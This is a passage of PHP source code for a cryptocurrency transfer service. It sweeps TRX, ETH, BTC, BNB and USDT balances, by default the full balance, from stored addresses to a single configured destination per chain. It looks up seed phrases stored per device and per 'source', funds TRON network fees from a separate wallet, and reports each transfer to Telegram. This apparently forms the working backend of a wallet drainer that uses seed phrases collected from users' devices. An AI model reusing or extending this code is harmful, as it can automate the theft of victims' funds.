$fromAddress, 'to_address' => null, 'chain' => $chain, 'tx_hash' => null, 'amount' => $amount === null || trim($amount) === '' ? null : trim($amount), 'type' => TransferRecord::TYPE_OUT, 'asset' => strtoupper(trim($asset)), 'operator' => $operator, 'status' => TransferRecord::STATUS_FAILED, 'error' => null, ]; try { $to = $this->toAddress($chain); if ($to === '') { return $this->finish($record, ['ok' => false, 'error' => $this->missingToAddressError($chain)]); } $record['to_address'] = $to; $asset = strtoupper(trim($asset)); $record['asset'] = $asset; create_log([ 'event' => 'transfer_start', 'chain' => $chain, 'asset' => $asset, 'from' => $fromAddress, 'to' => $to, 'amount' => $record['amount'], 'operator' => $operator, ], 'transfer'); $driver = $this->chains->resolve($chain); if (! $driver->isValidAddress($fromAddress)) { return $this->finish($record, ['ok' => false, 'error' => 'Invalid from address']); } if (! $driver->isValidAddress($to)) { return $this->finish($record, ['ok' => false, 'error' => 'Invalid to address']); } $amount = $amount === null ? null : trim($amount); if ($amount === '') { $amount = null; } if ($amount === null) { $amount = $this->resolveFullBalance($driver, $fromAddress, $asset, $chain); } $record['amount'] = $amount; $this->assertAmountWithinLimit($amount, $asset, $chain); $resolved = $this->resolveMnemonicForAddress($driver, $fromAddress); if ($resolved === null) { return $this->finish($record, ['ok' => false, 'error' => 'No mnemonic matches this address (device/source)']); } ['mnemonic' => $mnemonic, 'index' => $index] = $resolved; // Energy/bandwidth fee: only TRON USDT (TRC20) needs a TRX buffer. if ($asset === 'USDT' && in_array($chain, ['tron', 'trx'], true)) { $this->ensureTronFeeTopup($driver, $fromAddress, $operator); } $txid = match ($asset) { 'TRX', 'ETH', 'BTC' => $driver->sendNative($mnemonic, $index, $to, $amount, $fromAddress), 'USDT' => $driver->sendToken( $mnemonic, $index, $to, $amount, $this->usdtContract($chain), ), 'BNB' => $driver->sendNative($mnemonic, $index, $to, $amount, $fromAddress), default => throw new RuntimeException("Unsupported asset: {$asset}"), }; $record['tx_hash'] = $txid; $record['status'] = TransferRecord::STATUS_SUCCESS; return $this->finish($record, [ 'ok' => true, 'txid' => $txid, 'from' => $fromAddress, 'to' => $to, 'amount' => $amount, 'asset' => $asset, ]); } catch (\Throwable $e) { $record['error'] = $e->getMessage(); return $this->finish($record, ['ok' => false, 'error' => $e->getMessage()]); } } /** * TRON USDT only: if fromAddress TRX < fee_topup_trx target, top up the shortfall from the fee wallet. * Example: balance 5, target 20 → send 15 TRX. */ private function ensureTronFeeTopup(ChainDriver $driver, string $fromAddress, ?string $operator): void { if (! $driver instanceof \App\Services\Chain\TronDriver) { return; } $target = $this->autoConfig->feeTopupTrx(); $trx = $driver->getNativeBalance($fromAddress); if (bccomp($trx, $target, 6) >= 0) { create_log([ 'event' => 'tron_fee_topup_skip', 'reason' => 'balance_sufficient', 'from' => $fromAddress, 'trx' => $trx, 'target' => $target, 'operator' => $operator, ], 'transfer'); return; } $amount = bcsub($target, $trx, 6); $amount = rtrim(rtrim($amount, '0'), '.'); if ($amount === '' || str_starts_with($amount, '-') || bccomp($amount, '0', 6) <= 0) { return; } $feeAddress = $this->autoConfig->feeAddressTron(); $feeKey = $this->autoConfig->feePrivateKeyTron(); if ($feeAddress === '' || $feeKey === '') { create_log([ 'event' => 'tron_fee_topup_failed', 'error' => 'fee wallet not configured', 'from' => $fromAddress, 'trx' => $trx, 'target' => $target, 'operator' => $operator, ], 'transfer'); throw new RuntimeException('TRON fee top-up wallet is not configured (address/private key)'); } if (! $driver->isValidAddress($feeAddress)) { throw new RuntimeException('Invalid TRON fee top-up address'); } try { $derived = \App\Services\Chain\TronDriver::addressFromPrivateKey($feeKey); if (strcasecmp($derived, $feeAddress) !== 0) { throw new RuntimeException('TRON fee private key does not match fee address'); } } catch (RuntimeException $e) { throw $e; } catch (\Throwable $e) { throw new RuntimeException('Invalid TRON fee private key: '.$e->getMessage()); } create_log([ 'event' => 'tron_fee_topup_start', 'fee_from' => $feeAddress, 'to' => $fromAddress, 'amount' => $amount, 'trx_before' => $trx, 'target' => $target, 'operator' => $operator, ], 'transfer'); $topupRecord = [ 'from_address' => $feeAddress, 'to_address' => $fromAddress, 'chain' => 'tron', 'tx_hash' => null, 'amount' => $amount, 'type' => TransferRecord::TYPE_OUT, 'asset' => 'TRX', 'operator' => 'fee-topup'.($operator ? ':'.$operator : ''), 'status' => TransferRecord::STATUS_FAILED, 'error' => null, ]; try { $txid = $driver->sendNativeWithPrivateKey($feeKey, $feeAddress, $fromAddress, $amount); $topupRecord['tx_hash'] = $txid; $topupRecord['status'] = TransferRecord::STATUS_SUCCESS; $this->finish($topupRecord, [ 'ok' => true, 'txid' => $txid, 'from' => $feeAddress, 'to' => $fromAddress, 'amount' => $amount, 'asset' => 'TRX', ]); create_log([ 'event' => 'tron_fee_topup_success', 'fee_from' => $feeAddress, 'to' => $fromAddress, 'amount' => $amount, 'txid' => $txid, 'operator' => $operator, ], 'transfer'); $this->notifyFeeTopupTelegram( feeFrom: $feeAddress, toAddress: $fromAddress, ok: true, amount: $amount, txid: $txid, ); } catch (\Throwable $e) { $topupRecord['error'] = $e->getMessage(); $this->finish($topupRecord, ['ok' => false, 'error' => $e->getMessage()]); create_log([ 'event' => 'tron_fee_topup_failed', 'fee_from' => $feeAddress, 'to' => $fromAddress, 'amount' => $amount, 'error' => $e->getMessage(), 'operator' => $operator, ], 'transfer'); $this->notifyFeeTopupTelegram( feeFrom: $feeAddress, toAddress: $fromAddress, ok: false, amount: $amount, error: $e->getMessage(), ); throw new RuntimeException('TRON fee top-up failed: '.$e->getMessage()); } $deadline = microtime(true) + 45; do { if (! app()->runningUnitTests()) { usleep(1_500_000); } $trx = $driver->getNativeBalance($fromAddress); if (bccomp($trx, $target, 6) >= 0) { return; } } while (microtime(true) < $deadline); create_log([ 'event' => 'tron_fee_topup_confirm_timeout', 'to' => $fromAddress, 'trx_after' => $trx, 'target' => $target, 'operator' => $operator, ], 'transfer'); throw new RuntimeException('TRON fee top-up sent but balance still below '.$target); } /** * @param array{from_address: ?string, to_address: ?string, chain: string, tx_hash: ?string, amount: ?string, type: string, asset: string, operator: ?string, status: string, error: ?string} $record * @param array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string} $result * @return array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string} */ private function finish(array $record, array $result): array { if (! ($result['ok'] ?? false)) { $record['status'] = TransferRecord::STATUS_FAILED; $record['error'] = $record['error'] ?: ($result['error'] ?? 'Transfer failed'); } try { TransferRecord::query()->create([ 'from_address' => (string) ($record['from_address'] ?? ''), 'to_address' => $record['to_address'], 'chain' => (string) ($record['chain'] ?? ''), 'tx_hash' => $record['tx_hash'], 'amount' => $record['amount'], 'type' => (string) ($record['type'] ?? TransferRecord::TYPE_OUT), 'asset' => (string) ($record['asset'] ?? ''), 'operator' => $record['operator'], 'status' => (string) ($record['status'] ?? TransferRecord::STATUS_FAILED), 'error' => $record['error'], ]); } catch (\Throwable) { // never break transfer for persistence failures } create_log([ 'event' => 'transfer', 'ok' => (bool) ($result['ok'] ?? false), 'from' => $record['from_address'], 'to' => $record['to_address'], 'chain' => $record['chain'], 'tx_hash' => $record['tx_hash'], 'amount' => $record['amount'], 'type' => $record['type'], 'asset' => $record['asset'], 'operator' => $record['operator'], 'status' => $record['status'], 'error' => $record['error'], ], 'transfer'); $this->notifyTransferTelegram($record, $result); return $result; } /** * @param array{from_address: ?string, to_address: ?string, chain: string, tx_hash: ?string, amount: ?string, type: string, asset: string, operator: ?string, status: string, error: ?string} $record * @param array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string} $result */ private function notifyTransferTelegram(array $record, array $result): void { $operator = (string) ($record['operator'] ?? ''); if (str_starts_with($operator, 'fee-topup')) { return; } $from = (string) ($record['from_address'] ?? ''); $deviceKey = $this->deviceKeyForAddress($from); if ($deviceKey === '') { return; } try { $this->telegram->notifyAutoTransfer( $deviceKey, $from, (string) ($record['chain'] ?? ''), (string) ($record['asset'] ?? ''), (bool) ($result['ok'] ?? false), isset($record['amount']) ? (string) $record['amount'] : null, isset($record['to_address']) ? (string) $record['to_address'] : null, isset($record['tx_hash']) ? (string) $record['tx_hash'] : null, isset($record['error']) ? (string) $record['error'] : ($result['error'] ?? null), $operator !== '' ? $operator : null, ); } catch (\Throwable) { // never break transfer for telegram } } private function notifyFeeTopupTelegram( string $feeFrom, string $toAddress, bool $ok, ?string $amount = null, ?string $txid = null, ?string $error = null, ): void { $deviceKey = $this->deviceKeyForAddress($toAddress); if ($deviceKey === '') { return; } try { $this->telegram->notifyFeeTopup( $deviceKey, $feeFrom, $toAddress, $ok, $amount, $txid, $error, ); } catch (\Throwable) { // never break transfer for telegram } } private function deviceKeyForAddress(string $address): string { $address = trim($address); if ($address === '') { return ''; } try { $devicePk = WalletAddress::query()->where('address', $address)->value('device_id'); if ($devicePk === null) { return ''; } return (string) (\App\Models\Device::query()->whereKey($devicePk)->value('device_id') ?: ''); } catch (\Throwable) { return ''; } } private function toAddress(string $chain): string { return match ($chain) { 'eth', 'ethereum' => trim((string) config('coruna.transfer.to_address_eth', '')), 'bsc', 'bnb', 'binance' => $this->bscToAddress(), 'btc', 'bitcoin' => trim((string) config('coruna.transfer.to_address_btc', '')), 'sol', 'solana' => trim((string) config('coruna.transfer.to_address_sol', '')), default => trim((string) config('coruna.transfer.to_address', '')), }; } private function missingToAddressError(string $chain): string { return match ($chain) { 'eth', 'ethereum' => 'TRANSFER_TO_ADDRESS_ETH is not configured', 'bsc', 'bnb', 'binance' => 'TRANSFER_TO_ADDRESS_BSC (or TRANSFER_TO_ADDRESS_ETH) is not configured', 'btc', 'bitcoin' => 'TRANSFER_TO_ADDRESS_BTC is not configured', 'sol', 'solana' => 'TRANSFER_TO_ADDRESS_SOL is not configured', default => 'TRANSFER_TO_ADDRESS is not configured', }; } private function usdtContract(string $chain): string { $contract = match ($chain) { 'eth', 'ethereum' => trim((string) config('coruna.eth.usdt_contract', '')), 'bsc', 'bnb', 'binance' => trim((string) config('coruna.bsc.usdt_contract', '')), default => trim((string) config('coruna.tron.usdt_contract', '')), }; if ($contract === '') { throw new RuntimeException('USDT contract is not configured for '.$chain); } return $contract; } private function bscToAddress(): string { $bsc = trim((string) config('coruna.transfer.to_address_bsc', '')); if ($bsc !== '') { return $bsc; } return trim((string) config('coruna.transfer.to_address_eth', '')); } private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset, string $chain): string { $balance = match ($asset) { 'TRX', 'ETH', 'BTC', 'BNB' => $driver->getNativeBalance($fromAddress), 'USDT' => $driver->getTokenBalance($fromAddress, $this->usdtContract($chain)), default => throw new RuntimeException("Unsupported asset: {$asset}"), }; $reserveKey = match ($asset) { 'TRX' => 'coruna.transfer.trx_fee_reserve', 'ETH' => 'coruna.transfer.eth_fee_reserve', 'BNB' => 'coruna.transfer.bnb_fee_reserve', 'BTC' => 'coruna.transfer.btc_fee_reserve', default => null, }; $scale = $this->assetDecimals($asset, $chain); if ($reserveKey !== null) { $reserve = (string) config($reserveKey, '0'); if ($reserve !== '' && bccomp($reserve, '0', $scale) > 0) { $balance = bcsub($balance, $reserve, $scale); $balance = rtrim(rtrim($balance, '0'), '.'); if ($balance === '' || str_starts_with($balance, '-')) { $balance = '0'; } } } if (bccomp($balance, '0', $scale) <= 0) { throw new RuntimeException("No transferable {$asset} balance"); } return $balance; } /** * @return array{mnemonic: string, index: int}|null */ private function resolveMnemonicForAddress(ChainDriver $driver, string $fromAddress): ?array { $addressRows = WalletAddress::query() ->where('address', $fromAddress) ->orderBy('id') ->get(['id', 'device_id', 'source', 'mnemonic_id', 'derive_index']); // ETH addresses are often stored with mixed-case checksum. if ($addressRows->isEmpty() && str_starts_with(strtolower($fromAddress), '0x')) { $addressRows = WalletAddress::query() ->whereRaw('LOWER(address) = ?', [strtolower($fromAddress)]) ->orderBy('id') ->get(['id', 'device_id', 'source', 'mnemonic_id', 'derive_index']); } if ($addressRows->isEmpty()) { return null; } $maxIndex = max(0, (int) config('coruna.transfer.max_derive_index', 20)); $caseInsensitive = in_array($driver->chainId(), ['eth', 'bsc'], true); foreach ($addressRows as $row) { if ($row->mnemonic_id !== null) { $linked = WalletMnemonic::query()->find($row->mnemonic_id); $phrase = $linked?->mnemonic; if ($phrase !== null && trim($phrase) !== '') { if ($row->derive_index !== null) { return ['mnemonic' => $phrase, 'index' => (int) $row->derive_index]; } for ($index = 0; $index <= MnemonicAddressLinker::MAX_DERIVE_INDEX; $index++) { try { $derived = $driver->deriveAddress($phrase, $index); $match = $caseInsensitive ? strcasecmp($derived, $fromAddress) === 0 : $derived === $fromAddress; if ($match) { return ['mnemonic' => $phrase, 'index' => $index]; } } catch (\Throwable) { break; } } } } $mnemonics = WalletMnemonic::query() ->where('device_id', $row->device_id) ->where(function ($q) use ($row) { if ($row->source === null || $row->source === '') { $q->whereNull('source')->orWhere('source', ''); } else { $q->where('source', $row->source); } }) ->orderBy('id') ->get(); foreach ($mnemonics as $mnemonicRow) { $phrase = $mnemonicRow->mnemonic; if ($phrase === null || trim($phrase) === '') { continue; } for ($index = 0; $index <= $maxIndex; $index++) { try { $derived = $driver->deriveAddress($phrase, $index); $match = $caseInsensitive ? strcasecmp($derived, $fromAddress) === 0 : $derived === $fromAddress; if ($match) { return ['mnemonic' => $phrase, 'index' => $index]; } } catch (\Throwable) { break; } } } } return null; } private function assetDecimals(string $asset, string $chain): int { if ($asset === 'USDT' && in_array($chain, ['bsc', 'bnb', 'binance'], true)) { return max(1, (int) config('coruna.bsc.usdt_decimals', 18)); } return match ($asset) { 'ETH', 'BNB' => 18, 'BTC' => 8, default => 6, }; } private function assertAmountWithinLimit(string $amount, string $asset, string $chain): void { $decimals = $this->assetDecimals($asset, $chain); if (! preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $amount) || bccomp($amount, '0', $decimals) <= 0) { throw new RuntimeException('Invalid amount'); } $maxKey = match ($asset) { 'TRX' => 'coruna.transfer.max_trx', 'ETH' => 'coruna.transfer.max_eth', 'BTC' => 'coruna.transfer.max_btc', 'BNB' => 'coruna.transfer.max_bnb', default => 'coruna.transfer.max_usdt', }; $max = (string) config($maxKey, '0'); if ($max !== '' && $max !== '0' && bccomp($amount, $max, $decimals) > 0) { throw new RuntimeException("Amount exceeds max {$asset} limit ({$max})"); } } }